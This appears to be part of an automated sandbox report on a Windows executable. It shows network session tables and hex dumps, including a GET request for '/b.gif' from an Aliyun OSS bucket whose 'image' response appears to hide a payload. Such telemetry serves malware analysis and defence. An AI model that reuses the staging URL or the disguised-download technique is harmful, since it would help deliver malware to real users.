2025-01-05 09:11:23 UTC	4096	IN	Data Raw: 94 95 15 58 67 66 8f 0d ac 9c 9e d7 25 61 ea 28 7c d1 e2 ef 25 bc 8d ce ad ad e6 24 78 4e a7 6d 84 b4 b6 ff 3d 79 ce ae f0 30 fa 9b e0 89 4f 97 e0 f5 8e 4a c5 b1 9a ca cc 32 1e 44 28 99 59 18 2b c0 75 e7 d9 d9 59 24 df a8 d2 97 6d ad c6 d3 0c 89 da e7 e8 02 e8 d8 2c a5 6b 2f b8 7a 4e d7 b4 f7 f6 f7 b0 72 66 df ac ff fe ff 48 88 07 bd b1 04 06 08 8c db 0a 0b 0c 45 83 1a 91 41 13 13 5c 9e de e8 0d 61 2a 1a 1c 55 95 12 81 94 23 23 6c a8 33 5d 78 28 2a 63 a5 28 4d 9a 31 31 cd 26 69 05 37 37 70 b2 37 bd 89 3c 3e 77 cd 54 35 13 45 45 0e ce 4d 39 ff 4a 4c b2 5b 0d 60 50 52 1b df 58 3d e2 59 59 12 d6 49 39 0e 5e 60 29 eb 66 89 d1 67 67 97 7c 4d 5b 6d 6d 26 e4 7d 21 c7 72 74 3d fb 62 21 29 7b 7b 34 f4 7b 65 35 80 82 7c 91 89 b6 86 88 c1 01 86 b9 38 8f 8f d8 1c 87 Data Ascii: Xgf%a(\|%$xNm=y0OJ2D(Y+uY$m,k/zNrfHEA\aU##l3]x(c(M11&i77p7<>wT5EEM9JL[`PRX=YYI9^`)fgg\|M[mm&}!rt=b!){{4{e5\|8
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: 81 49 b6 96 98 1c 6c ee db d5 13 d3 84 f1 5d b6 e1 84 a7 a7 2b 69 ab e7 cf 4d e3 ac 54 4e a7 ed 94 b4 b6 fa 33 7d f2 30 74 8e 6c 40 d5 d9 e2 c2 c4 8d 43 07 80 42 22 bf df 85 43 9b f4 81 9f 58 10 9d 5d 1f 30 41 ec db dc 91 55 32 ac 68 89 d3 6f e0 e9 41 e9 e9 a2 66 e1 81 4b ee f0 ca 0c 7a b7 c9 f9 b8 06 06 ef 75 dc fc fe b7 8b 0c 95 97 05 05 4a 8c a4 2d 7a 03 0c 0d 42 84 b4 35 6a 1b 14 15 5e 94 e1 e6 52 90 b0 39 86 17 20 21 57 69 6c ae 23 a5 8d 28 2a 67 a7 20 5d 8a 31 31 7e b8 31 61 93 36 38 b2 2f 4d 99 3c 3e 86 41 41 42 43 08 cc 32 63 60 01 c3 0f 68 6d b1 5a 51 f4 53 53 1c de 5b 15 cc 58 5a de 9c d6 ae 16 6f 29 ad e6 a4 2d ef 6a 59 fd 6b 6b 14 73 22 e2 3c 55 4e 36 47 b5 cc f9 6b 79 7a 33 bb 39 5a 5f 84 81 82 83 7b 90 cd 22 89 89 01 7b c4 00 83 45 34 90 92 Data Ascii: Il]+iMTN3}0tl@CB"CX]0AU2hoAfKzuJ-zB5j^R9 !Wil#(*g ]11~1a68/M<>AABC2c`hmZQSS[XZo)-jYkks"<UN6Gkyz39Z_{"{E4
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: 9b 94 96 df 13 d5 be cb 63 88 7d 90 a1 a1 ea 2e a9 c1 30 a6 a8 56 bf 6d bc ac ae 2a 4f c9 af 32 4f 3f a5 b7 b8 cd af 3a 47 36 ad bf c0 b5 cf 8b 4f 10 7f c7 cc c9 ca 23 79 3b 31 30 5b 16 9a 58 68 f1 76 d7 d8 d9 92 58 18 bd 9f 82 a1 bd bc be bf 26 2a 2b 24 25 26 27 20 21 22 23 3c 3d 3e 3f 38 bd 7f ab dc e9 b2 72 90 d9 e6 a8 48 82 ee 33 8f c4 4f 8c d0 41 81 f1 8f e5 0a 84 f9 1e 96 c1 14 15 16 94 e0 18 15 9f b1 1d 1e 1f 68 ac 2f 15 b1 24 26 6f a1 5d 0e 6b d3 38 75 3f 31 31 7a b8 39 51 b2 36 38 71 b9 c2 c3 48 6b 73 cb 4c 1d d6 45 45 0a cc 4d 09 df 4a 4c c6 5b 2d c5 50 52 1b d9 50 15 d3 59 59 e3 5a 5c 5d 5e 17 e9 25 46 4b 2c ee 63 25 fd 68 6a 23 e5 29 4a 4f 8f 64 ad e7 75 75 3e fc 75 59 fe 7a 7c f6 8e 37 03 49 7d 06 72 cd 89 cf 40 0c 7c c3 05 80 85 0b 91 91 ea Data Ascii: c}.0VmO2O?:G6O#y;10[XhvX&+$%&' !"#<=>?8rH3OAh/$&o]k8u?11z9Q68qHksLEEMJL[-PRPYYZ\]^%FK,c%hj#)JOduu>uYz\|7I}r@\|
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: ac d4 2f 87 98 99 9a d3 17 d5 96 ac 72 e9 2b ff 80 8d ee 2e e4 8d 96 e3 27 e1 8a 9f 77 f5 96 8b b5 b5 b6 b7 7f fd 9e ff be bd be bf 88 48 9e e7 e4 3a d3 4d 37 c9 ca 4e 0c b8 c8 30 c5 d1 d2 d2 d4 9d 5d 9b fc e9 25 ce c1 dd df df 27 e4 4d 65 e5 e5 e7 e7 e8 e9 d9 22 04 89 21 10 0f b9 7f fe 91 70 f7 f7 07 ec 75 fb fd fd b6 7c 3d 96 76 02 04 fa 4a 8a 05 31 fb f4 f3 41 87 02 81 94 13 13 d3 10 81 92 19 19 19 3b 1c 1d 56 96 3d 49 a7 22 24 6d af 3a a9 ac 2b 2b 59 16 6b 1c f0 79 bf 36 51 41 37 37 82 3a 1a 3b 3c 75 b7 7b 64 69 03 ce 0c 44 0e ce 14 6d 6a b4 59 49 cb 4e 50 19 d9 46 11 21 57 57 11 da 92 a4 d9 9d 17 50 28 b1 2a ea 71 51 12 66 68 21 e7 66 81 e9 6f 6f 8f 64 8d 8c 74 75 9e bd 90 86 85 33 f1 31 5a 2f b3 53 c3 3b 98 84 86 87 60 a1 ee 8b 8c c5 03 c3 b4 c1 55 Data Ascii: /r+.'wH:M7N0]%'Me"!pu\|=vJ1A;V=I"$m:++Yky6QA77:;<u{diDmjYINPF!WWP(*qQfh!foodtu31Z/S;`U
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: d4 16 36 5f 98 99 9a 66 24 62 61 60 df e9 29 d7 80 cd ee 24 6c f9 f5 68 e4 28 58 db 05 f9 39 f7 90 85 fe 3e e4 9d da 38 c4 a9 be ca 84 a7 a4 a5 54 ca 71 d8 ae 4a 31 8a be c7 a8 4c 2b 8b a5 d7 b2 56 15 f7 d7 6e dc bd e1 9c de ad ea 87 df b9 e4 92 e2 81 ed c9 ea a3 6f 2a ec a7 73 37 f0 95 71 2e 82 b6 9e c2 22 8f 34 16 c4 99 66 91 64 65 94 0a b1 08 40 84 5e 2f 3c e5 dd 26 10 11 1d a4 1a 5d 9b 43 3c 29 7c 90 c4 55 9d d8 22 c9 9d 0a 24 25 6e a4 ee 2b 4c ae f7 59 2b 49 0b e9 46 e2 78 be 6a 13 78 36 8d f3 33 8a fd 77 cb 1d 66 23 6f 84 c6 3b 6c 01 4a 3f 44 0c cd ec 98 51 52 53 a9 1d dd 23 7c 31 12 d8 98 0d 01 9c ac ad ae af a8 2d e5 8b 50 ea 57 ae 06 6c 6e 6f 3c fa bb 7c f1 f7 76 77 78 31 ff b2 09 50 96 5d ad 81 82 c6 b7 4c c3 b4 48 ba 58 b8 45 c5 49 cb b4 b1 92 Data Ascii: 6_f$ba`)$lh(X9>8TqJ1L+Vno*s7q."4fde@^/<&]C<)\|U"$%n+LY+IFxjx63wf#o;lJ?DQRS#\|1-PWlno<\|vwx1P]LHXEI
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: d5 c9 c9 c9 c5 5a 56 57 50 51 52 53 6c 6d 6e 6f 68 e5 f5 ef 2b 45 9a e3 29 64 e6 24 69 be 36 d4 b5 b5 b6 ff 3d 6b b5 3f e2 bc be bf 85 f2 10 8e 41 05 8a 4c 11 bd e2 8a c3 7a ce a9 55 11 a6 cc 95 6f d4 d7 d8 d9 93 e0 0e d2 58 25 e0 e1 e2 af 69 bc e4 81 61 e8 8c aa 2b ee d4 ef bd f2 28 be 71 3c 82 ad 9e b8 79 c2 fc 89 ad 99 66 91 64 65 94 4c 85 c5 09 45 31 d9 03 8e c5 0f 10 11 53 1c a3 14 5f 94 d9 1b 53 98 df 1f 78 5e a9 62 dc 45 65 a6 1f 27 5d f2 6b 24 9b 6c d0 49 0d 1e 32 47 29 53 0b 6b 38 4d 2d 72 bf ff 3f 73 7b 93 4d c0 d1 45 46 47 2e 08 8d 48 10 4d 07 cc 93 53 1a d8 18 71 36 1f dd 90 2e 73 3a de 67 5f 14 43 04 05 f4 2c e5 a5 69 25 51 b9 1f 02 61 d8 71 39 f1 b2 76 3c f5 b4 7a 1f 3b f2 3f 83 18 fc b9 81 f7 62 cc 0e ca a3 e0 c1 0f 42 f8 cb 81 38 91 f7 17 Data Ascii: ZVWPQRSlmnoh+E)d$i6=k?ALzUoX%ia+(q<yfdeLE1S_Sx^bEe']k$lI2G)Sk8M-r?s{MEFG.HMSq6.s:g_C,i%Qaq9v<z;?bB8
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: 17 55 b6 de 1b 71 9b ee 4c d5 15 1d f8 a0 a2 a3 54 26 26 c7 a9 a9 aa aa 6f 61 62 63 7c 7d 7e 7f 78 fd 33 7e b7 3d 2c bb bc bd 4e 3c c1 3e 8a 48 45 d5 c7 c7 c8 81 4f 0b b8 c9 3e 4c d0 2e 9a 58 55 f5 d7 d7 d8 91 5f 1b a8 d9 2e 5c e0 1e aa 68 65 fd e7 e7 e8 a1 6f 2b 98 e9 1e 6c f0 0e ba 78 75 c5 f7 f7 f8 b1 7f 3b 88 f9 0e 7c 00 fe 4a 8e 45 5d 47 bf 0e 09 0a 0b 40 80 03 fd 24 10 12 75 84 59 2f 5f e8 6d 16 53 97 0d 56 9a f2 55 26 d3 a7 27 d9 6f ab 51 d2 2b 58 20 66 a4 60 39 7a b6 e6 41 32 c7 bb 3b c5 73 bf fd 1e 76 c3 a9 43 36 94 0d cd c6 10 48 4a 4b bc ce ce 2f 51 51 52 ac 1c de 97 94 94 95 96 97 90 91 92 93 ac ad ae af a8 25 35 2f eb 85 4a 23 e9 bf 26 e4 aa 05 37 3b f1 bc 02 37 34 f2 6b 37 47 af 0a 50 c8 08 93 cb 0f 4f 6e 0d 76 76 75 c6 09 5f fa 90 d9 1a 58 Data Ascii: UqLT&&oabc\|}~x3~=,N<>HEO>L.XU_.\heo+lxu;\|JE]G@$uY/_mSVU&'oQ+X f`9zA2;svC6HJK/QQR%5/J#&7;74k7GPOnvvu_X
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: 1f 5a 7e 3d d3 99 9a d3 17 d6 8e 14 50 ae 14 e7 80 95 2e a6 41 2a aa ab ac e5 25 db 94 f1 31 7a 94 36 7e 48 31 f2 a2 f3 37 e1 9a f7 88 42 06 e3 9b 06 45 38 37 bd e9 48 33 33 ba d1 98 5a 15 9b 5f 1a 9e 5a cd d1 82 da dc 5e 3e c0 a8 20 1b e6 ac 8e 26 bf a0 ea ee 21 07 ea a6 62 f5 71 d8 f2 f4 03 b6 ff d8 8d e9 c8 2e 76 31 bb 8d 43 00 eb d9 44 06 07 40 8a f2 f4 78 2b 46 84 5b 01 98 57 30 25 9e 16 f3 0f a7 1a 1c 1d 1e 57 ad 75 06 13 af ea 62 ac ed c1 3d 60 2c 2d a5 df 0b c4 46 3a b7 7e 2e 17 bb f1 c5 d0 39 32 88 7b 64 71 0a c8 28 61 7e 0f c3 3d 6e 0b 04 c6 12 6b 18 19 d1 97 74 0a 95 9b 94 95 96 97 90 91 92 93 ac ad ae af a8 2d ef 3b 4c 79 3c 23 ef 81 0e 22 f5 b8 3f f8 a5 3c fd 87 30 f2 a0 37 f7 a4 0b 50 68 a1 7f 7c 7b c0 b5 4e cd ba 4a 4c 8c 9b 8e 8f 90 a2 52 Data Ascii: Z~=P.A*%1z6~H17BE87H33Z_Z^> &!bq.v1CD@x+F[W0%Wub=`,-F:~.92{dq(a~=nkt-;Ly<#"?<07Ph\|{NJLR
2025-01-05 09:11:23 UTC	4096	IN	Data Raw: 57 94 e2 9f d0 12 55 73 09 58 61 60 e8 2a 65 eb 2f f9 82 97 e0 2a 6e 8b f3 6e 62 63 7c 7d 7e 7f 78 f9 3b f6 a9 f1 39 79 ad f1 95 7d a6 51 a4 a5 54 ca 70 cd 8a c6 7c cf ce e6 06 ba d8 99 51 11 d5 50 16 a2 34 5c 13 d4 48 1d 1d 13 2c 2d 2e 2f 28 ad 6f ea 01 c2 eb eb 2f 21 22 23 3c 3d 3e 3f 38 b5 a5 bf 7b 15 da b3 77 24 b6 74 0d d1 29 02 04 ed 1d e4 f7 f6 42 8e cc 79 1a 47 9b da ed c3 91 d5 62 1c a0 18 1a 1b 1c 55 9d db 00 7a e1 10 e4 6d a5 e3 08 72 e9 e7 e0 e1 e2 e3 fc fd fe ff f8 75 65 7f bb d5 1a 73 bf c4 de 77 cb 98 4d c4 df 45 46 47 00 c0 3e 6f 7c 05 cb 86 ee 50 52 53 54 1d 59 12 a9 11 d3 27 78 65 38 39 f0 07 04 05 f4 2d ed 6a d9 59 6b 6b 24 e8 a7 1a 50 99 7d 77 74 75 cf 69 78 79 7a 93 b9 7c 7e 7f 39 7e 82 83 84 6d 4d 74 77 76 c2 00 81 01 be 8e 90 dd 19 Data Ascii: WUsXa`e/nnbc\|}~x;9y}QTp\|QP4\H,-./(o/!"#<=>?8{w$t)ByGbUzmrueswMEFG>o\|PRSTY'xe89-jYkk$P}wtuixyz\|~9~mMtwv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	62762	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:11:25 UTC	111	OUT	GET /b.gif HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:25 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:25 GMT Content-Type: image/gif Content-Length: 125333 Connection: close x-oss-request-id: 677A4CBD35EB263636986A44 Accept-Ranges: bytes ETag: "2CA9F4AB0970AA58989D66D9458F8701" Last-Modified: Sat, 04 Jan 2025 09:22:48 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10333201072197591521 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: LKn0qwlwqliYnWbZRY+HAQ== x-oss-server-time: 3
2025-01-05 09:11:25 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 5f 58 dd 1d c6 90 d1 17 9e 99 14 9f 9f e8 24 70 eb ab e0 64 64 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 fd 3f eb 9c b1 ed f3 3f 51 9e f7 4d c4 05 d1 c5 c5 8e 4c 31 81 43 ca 47 17 86 4c 11 d9 3a 49 f3 d5 d6 21 1b d8 ae d6 66 c5 de df e0 a9 69 2c 0c cd ed e7 e8 a1 61 b7 c8 dd a6 64 37 b9 71 37 d4 aa 35 3b 34 35 36 37 30 31 32 33 cc cd ce cf c8 4d 8b 02 89 1b 0b 0b 44 84 0f 47 93 d0 1a fa 4d 32 16 17 d4 d5 d6 d7 d0 d1 d2 d3 ec ed ee ef e8 6d ab 22 b9 a1 2b 2b 64 ea 6f 3f 30 31 32 33 7c bc 77 3f 70 b4 3f dd 2e 3c 3e 77 c9 40 0a c8 85 86 8a 8b 84 85 86 87 80 81 82 83 9c 9d 9e 9f 98 1d d5 bb 10 11 d7 17 78 7d b6 9d 9f 9e 9d 2b e9 70 7d c1 69 69 22 e6 20 49 4e 87 11 59 72 73 b8 35 25 3f fb 95 5a 33 f7 a4 36 f4 42 c9 0f 8e 81 97 87 87 87 de 4a c3 01 de 86 c7 19 9a Data Ascii: _X$pdddefg`abc\|}~x??QML1CGL:I!fi,ad7q75;45670123MDGM2m"++do?0123\|w?p?.<>w@x}+p}ii" INYrs5%?Z36BJ
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 6d 6b 6a 06 df 1b 5d a2 58 50 d5 1d 73 88 18 aa a3 a4 a5 4e a1 a8 a9 aa 3b e4 2e 6a 87 73 38 fe 97 bc fd 35 5b 90 00 ad bb bc bd 41 aa f1 c1 c3 c3 41 05 b2 cf 43 8d ee fb 47 05 03 e6 98 5c df bd 6f d4 d6 3f ad d9 da db 94 56 9a fb c8 a9 6b e6 b1 59 e7 e7 a0 64 ae cf c4 a5 6d 2f f8 b9 7b f6 11 4e f7 f7 b0 72 ff c5 40 fc fe b7 89 04 ad b9 05 05 c1 02 9d b3 0b 0b 05 09 0e cf d7 14 9d a9 15 15 17 17 18 19 dd 1e 85 a7 1f 1f 21 21 22 23 9c 2d 26 27 28 61 41 eb 2c 65 a3 22 a1 8b 33 33 bf 61 12 07 70 b0 2e 3a 74 b0 33 f5 42 40 42 ab 09 bb b9 b8 d8 01 c9 8f 64 8e 82 83 9c 19 db 0f 70 75 01 1f db b5 1a 13 d7 84 a1 4a 01 9e 62 63 2c ee dd 9f 68 69 6a 23 e1 39 4a 3f 38 fa bd 36 47 b5 89 62 29 86 7a 7b 34 f8 be 0b b2 c9 01 e7 a0 bd 86 cf 05 c5 ae d3 c4 06 da ab c0 dd Data Ascii: mkj]XPsN;.js85[AACG\o?VkYdm/{Nr@!!"#-&'(aA,e"33ap.:t3B@BdpuJbc,hij#9J?86Gb)z{4
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 4b 9b bd e2 b3 b8 d1 11 54 fa 92 e1 ef 78 e4 29 53 97 53 4e e5 ab a9 aa ef 27 a2 9d 7d f5 34 7b bc 30 77 b6 b7 b8 f5 31 fc b4 f1 33 aa 41 0e 3d 3c 8c 4e 81 df 43 02 8e f0 3c b1 d5 87 11 39 f2 97 ef 25 a9 c5 5d 10 51 01 57 2f d1 9b 39 68 be c7 cc ea ce 93 cc c9 ab e4 5a e5 11 2d 73 10 fd b9 fb 4b 72 e6 f8 dd fb fb be 77 72 ee 10 25 03 03 48 2e c6 46 83 49 f6 d8 e4 41 87 48 18 98 55 0b 55 1a a0 1f 9b f8 15 51 13 a3 9a 0e 20 05 23 23 66 af aa 36 38 0d 2b 2b 60 06 ee 6e bb 71 ce e0 dc 79 bf 70 30 b0 7d 27 7d 32 88 37 c3 a0 4d 09 4b fb c2 56 48 6d 4b 4b 0e c7 c2 5e 40 75 53 53 18 7e 96 16 d3 19 a6 88 b4 11 d7 18 68 e8 25 43 25 ee 66 2e eb a9 6e 27 e5 2a 66 e6 37 55 33 48 a5 7a f3 3e 87 86 85 84 ba 1b 71 00 f4 a5 c2 cb 09 d1 a2 c7 01 fd ae b3 c4 06 41 67 c9 93 Data Ascii: KTx)SSN'}4{0w13A=<NC<9%]QW/9hZ-sKrwr%H.FIAHUUQ ##f68++`nqyp0}'}27MKVHmKK^@uSS~h%C%f.n'*f7U3Hz>qAg
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: d1 84 d1 1d 87 d9 96 2c 92 1f 7c 91 d5 af 1f 26 92 a4 81 a7 a7 ea 23 26 9a bc 89 af af fc 9a 7a f2 3f f4 4a 64 50 ba 4a 30 7a f4 bd 7d 88 c2 05 8b ff 1d b4 ec 89 c6 7c c2 8d 32 0e 4c 31 de 98 dc 6a 51 e7 d7 fc d8 da 99 56 51 ef cf c4 e0 e2 af cf 2d a7 6c b9 15 39 01 13 27 ab d4 33 83 57 b6 71 35 f9 b3 2d 72 38 10 fe 76 3b b7 8b 5d 26 13 4c 8e 6a 23 10 41 81 7f 28 2d 46 84 6c 35 3a 52 4a d6 da db d4 51 93 47 38 15 56 96 54 05 32 6b ad 59 02 3f 69 7c 6b 7d 6d 7a 66 ac dc 01 7f b8 c5 7c bd ef 70 b2 c8 77 b7 d4 0d c0 01 78 3a 47 30 4a 0b 24 30 4d a2 b9 b8 b2 b1 06 dd 45 55 b8 52 1d dd 80 1c d2 a5 13 d9 8f 51 db 17 60 62 63 21 e0 99 13 79 81 b9 9f 93 92 26 e4 b8 39 11 30 70 3d 75 bf 93 7a 32 f0 b3 3d 46 06 90 8e 06 d7 85 85 86 be f3 81 ff 83 b5 b6 81 02 d7 90 Data Ascii: ,\|&#&z?JdPJ0z}\|2L1jQVQ-l9'3Wq5-r8v;]&Lj#A(-Fl5:RJQG8VT2kY?i\|k}mzf\|pwx:G0J$0MEURQ`bc!y&90p=uz2=F
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 1a f0 b1 a6 df 11 dd be b3 d0 14 ea bb 80 49 6d 55 5b 5a ea 2c d5 29 e7 20 eb a5 e6 22 a5 21 1d 4c 4b f4 b9 01 b0 3a 5b b4 f4 b2 00 3b d1 c1 e6 c2 c4 4f 4a d6 d8 ed cb cb 80 e6 0e 8e 5b 91 2e 00 3c 98 5f 90 d0 98 53 9c c4 9c d1 69 e8 62 03 ec ac ea 58 63 f9 e9 ce ea ec 67 62 fe e0 d5 f3 f3 b8 de 36 b6 73 b9 06 28 14 b0 77 b8 08 40 8b 44 18 44 09 b1 00 8a eb 04 44 02 b0 8b 01 11 36 12 14 9f 9a 06 08 3d 1b 1b 50 36 de 5e ab 61 de f0 cc ae 6a 03 40 68 a3 6c 0c d2 ef 62 b9 76 3a 7a b9 75 32 76 b3 29 73 b2 7b 35 7f b6 17 65 cb 0f 60 2d 7d 0a 88 46 c8 5a b2 b2 b1 0e a6 57 12 27 05 1c dd 81 10 d2 94 b3 69 81 a1 a0 e4 a1 6d e7 f0 65 66 67 83 55 e9 16 9c 6d 18 59 f0 cc 8a 73 74 75 76 78 fd ee 7a 7b 7c f6 fb 7f 81 81 82 cf 0f 4b ca 0e ec ad b2 c6 07 48 07 cb b4 a1 Data Ascii: ImU[Z,) "!LK:[;OJ[.<_SibXcgb6s(w@DDD6=P6^aj@hlbv:zu2v)s{5e`-}FZW'imefgUmYstuvxz{\|KH
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 52 57 d5 c5 df 1b 75 ba d3 17 44 d6 14 62 e9 2f ae 41 67 a6 a7 a7 fe 6a e3 25 a6 e6 22 e3 b9 fa 3e fc bd b9 a6 ba 51 99 6c 43 42 f6 32 c5 29 06 c3 c4 8d 4f c4 80 42 09 83 4f 09 ee 94 13 99 51 b2 c4 d5 9e 5a dd 39 1e db dc 95 57 9e e8 a9 6f e6 21 21 e6 e7 a0 60 eb a3 67 2c 2d 23 3c b1 a1 a5 a3 b4 a2 b6 ad b8 ac ba ab b5 7d 13 70 49 89 fa 41 36 f9 43 81 75 2e 2b 48 2c b2 2b a0 11 12 13 58 34 6a 33 30 55 3b a7 38 d5 1e 1f 20 c9 85 ff db da 6a ac 40 01 66 a2 40 09 6e c7 a9 ed cd cc 7c be 76 17 70 b0 be 1f fc 3d 3e 3f 08 ca 35 13 0c cc f2 63 f0 49 4a 4b 04 c6 09 07 18 d8 16 77 64 1d dd 08 18 11 d1 1c 6c 15 d7 1b 44 29 2e e8 13 4d 2a ee 1c 4d 3a 23 e7 a6 86 29 7f 71 72 9b 21 a9 89 88 30 f0 0a 5b 94 31 a2 80 7f c9 0b db ac 6d c5 5b 77 76 c2 00 dc ad c6 04 c2 b9 Data Ascii: RWuDb/Agj%">QlCB2)OBOQZ9Wo!!`g,-#<}pIA6Cu.+H,+X4j30U;8 j@f@n\|vp=>?5cIJKwdlD).M*M:#)qr!0[1m[wv
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 83 dd 52 57 b7 9d 0a 83 72 99 9d 9e 9f 6c 6d 6e 6f 68 66 6a 6b 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 76 7a 7b 74 f1 31 be a9 0f be bf 88 4c d7 ad 73 3a 39 8f f3 0b be e8 a9 85 45 cb f5 e1 d2 d3 d4 9d 5d 5e 40 d9 da db 94 e6 96 cf 92 e7 aa d8 ac ed 90 e0 51 e4 ea eb ec 20 c7 2c 3c b1 a1 bb 77 19 d6 c4 23 b1 77 ee 81 8c ff ff 45 32 c2 4b 89 09 9d 4f 85 05 c0 b1 ac 02 0e 0f f8 c9 10 13 14 90 d6 63 09 e6 1f 9d 6d 1c 1e e0 e3 a2 d9 22 56 f6 96 26 c3 2e c2 21 2c 2d 2e 1d f0 79 b1 f7 14 6e f5 fb f4 79 69 73 bf d1 1e b4 5d 21 33 42 44 ae 5b 0f c5 4c 65 3a 4d 4d b1 84 18 dc 5e c8 1c d8 5a 9f a7 4c 4d eb 5c 5d a1 52 21 10 63 63 e1 be 13 b8 d8 68 22 e8 a8 4d 35 ac bc 39 fb 2f 50 7d 3e fe 14 5d 6a 33 f5 09 5a 67 d7 c0 d6 c2 d1 c4 d0 c6 df c1 09 67 ac 06 77 c3 1d ac Data Ascii: RWrlmnohfjkdefg`abc\|}~xvz{t1Ls:9E]^@Q ,<w#wE2KOcm"V&.!,-.ynyis]!3BD[Le:MM^ZLM\]R!cch"M59/P}>]j3Zggw
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 94 1c 96 de 68 5b d0 17 e4 9e dd 1a 69 d4 bd e2 27 49 d0 0c e7 28 57 8a df aa ed 2e 51 b9 c4 2c fb 31 6e c2 be 7e fa 45 bb 57 be f6 40 0f 81 f0 35 4e c2 42 07 c7 4d 1c cb cc cd f2 ef a4 d5 ee da a1 d2 9e 28 1f 53 dd 30 2d 59 1e d0 64 5e e2 e3 e4 a8 63 11 9c ee a3 62 f2 a4 6d 29 f8 b8 0d b6 f4 4f f7 f7 f8 f9 c9 3b 17 f8 b6 00 c7 fe c2 89 0b 85 ff 5b 7c fd 8a f2 2e 78 3f 8b d2 64 0a 53 90 e3 62 1d 20 56 1b 6e 19 55 e1 d8 cb 28 11 f1 64 a1 d0 67 27 bd ec fa c4 c6 3f d0 f8 79 b7 e8 40 33 f0 34 64 71 c5 f8 75 c2 3a 1b c5 81 37 a8 ce 42 c2 87 3c 0f 0a cf ba 38 46 73 70 25 6f 6f 5d 21 6f d2 8a 2d 77 13 d9 86 2a 5a e8 62 2a 9c a7 6a d8 68 80 99 59 6b 6c e8 ae 1b 63 38 8d 77 50 3d 89 b0 30 fc a1 0f 7b f7 79 f7 83 c9 7d 40 cd 7a 82 a3 c0 76 4d 62 e9 72 71 70 d8 14 Data Ascii: h[i'I(W.Q,1n~EW@5NBM(S0-Yd^cbm)O;[\|.x?dSb VnU(dg'?y@34dqu:7B<8Fsp%oo]!o-wZbjhYklc8wP=0{y}@zvMbrqp
2025-01-05 09:11:25 UTC	4096	IN	Data Raw: 9b dc 16 6d 8f ed 48 d2 10 91 71 cd 9e a0 49 dd 58 5b 5a ee 24 8d 76 f9 aa ac ad e6 2c 74 91 e9 70 78 fd 35 76 88 f1 45 9e 19 2d be bf 0c 89 41 02 f4 8d 39 e2 69 59 ca cb 00 85 47 93 f4 d9 9e 5a 98 f1 f6 80 90 5a 36 fb 95 56 07 96 6b 19 69 e9 0c 8d ec e7 e8 79 a2 60 eb a5 65 e7 b8 7a 73 7b f4 f5 f6 07 07 f9 71 f0 14 59 f4 ff 00 49 89 5f 20 35 4e 84 cc 29 55 c8 c0 45 87 53 34 19 5e 9a 58 31 36 40 50 9a f6 3b 55 96 c7 56 ab d9 a9 29 cc 0d 2c 27 28 b9 62 a0 23 1e fc 67 bb 38 da 95 36 35 36 a7 b3 32 d2 5d 36 3d 3e 77 cb 1d 66 73 0c c6 82 67 17 8a 86 87 80 05 c7 13 74 59 1e da 18 71 76 00 10 da b6 7b 15 d6 87 16 eb 99 e9 69 8c 8d 6f 67 68 f9 22 e0 2b 65 26 e4 60 39 f9 7c 3c fe 64 3f f3 70 92 25 7e 7d 7e ef 0b 8a 6a 9d 8e 85 86 cf 03 d5 ae bb c4 0e 4a af cf 52 Data Ascii: mHqIX[Z$v,tpx5vE-A9iYGZZ6Vkiy`ezs{qYI_ 5N)UES4^X16@P;UV),'(b#g86562]6=>wfsgtYqv{iogh"+e&`9\|<d?p%~}~jJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	62774	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
